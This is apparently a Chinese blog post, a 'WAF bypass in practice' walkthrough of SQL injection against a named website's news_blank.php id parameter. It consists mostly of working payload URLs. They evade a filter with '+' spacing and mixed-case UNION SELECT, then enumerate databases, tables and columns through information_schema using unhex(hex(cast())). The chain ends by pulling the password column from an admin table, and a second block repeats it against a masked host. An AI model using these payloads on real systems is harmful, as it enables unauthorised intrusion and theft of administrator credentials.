WAF绕过实战
网站地址:
注入地址:
http://www.ghtcghtc.com/news_blank.php?id=35
- http://www.ghtcghtc.com/news_blank.php?id=36-1 判断出数值型
- http://www.ghtcghtc.com/news_blank.php?id=35 and 1=1 被拦截

- http://www.ghtcghtc.com/news_blank.php?id=35+and+1=1
- http://www.ghtcghtc.com/news_blank.php?id=35+and+1=2
- order by 判断为11个字段
- -35+union+select+1,2,3,4,5,6,7,8,9,10,11 4和8的位置

- -35+union+select+1,2,3,(database()),5,6,7,8,9,10,11

8.35+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(schema_name%20as%20char))),5,6,7,8,9,10,11%20from%20information_schema.schemata%20limit%202,1
HEX()函数:返回十六进制值的字符串表示形式
UNHEX() 函数: 每对十六进制数字转化为一个字符
CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。
9
+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(table_name as char))),5,6,7,8,9,10,11 from information_schema.tables where table_schema='hengdong' limit 0,1

- +UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(column_name as char))),5,6,7,8,9,10,11 from information_schema.columns where table_schema='hengdong' and table_name='hdwl_admin' limit 3,4
- +UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(pwd as char))),5,6,7,8,9,10,11 from hdwl_admin
其他解答:
http://xxx.com/news_blank.php?id=296 and 1=1
http://xxxxx.com/news_blank.php?id=296+and+1=1
http://xxxx.com/news_blank.php?id=296+and+1=2
http://xxxx.com/news_blank.php?id=296 order by 11 正确
http://xxxx.com/news_blank.php?id=296 order by 12 错误
http://xxxx.com/news_blank.php?id=296 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 拦截
http://xxxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,4,5,6,7,8,9,10,11--+
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,user(),5,6,7,version(),9,10,11--+
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(schema_name as char))),5,6,7,version(),9,10,11 from information_schema.schemata limit 1,2
http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(table_name as char))),5,6,7,version(),9,10,11 from information_schema.tables where table_schema='hengdong' limit 0,1

http://xxxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(column_name as char))),5,6,7,version(),9,10,11 from information_schema.columns where table_schema='hengdong' and table_name='hdwl_admin' limit 3,4
http://xxx.com/news_blank.php?id=296+and+1=2+UnIoN+SeLeCT+1,2,3,unhex(Hex(cast(pwd as char))),5,6,7,version(),9,10,11 from hdwl_admin
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效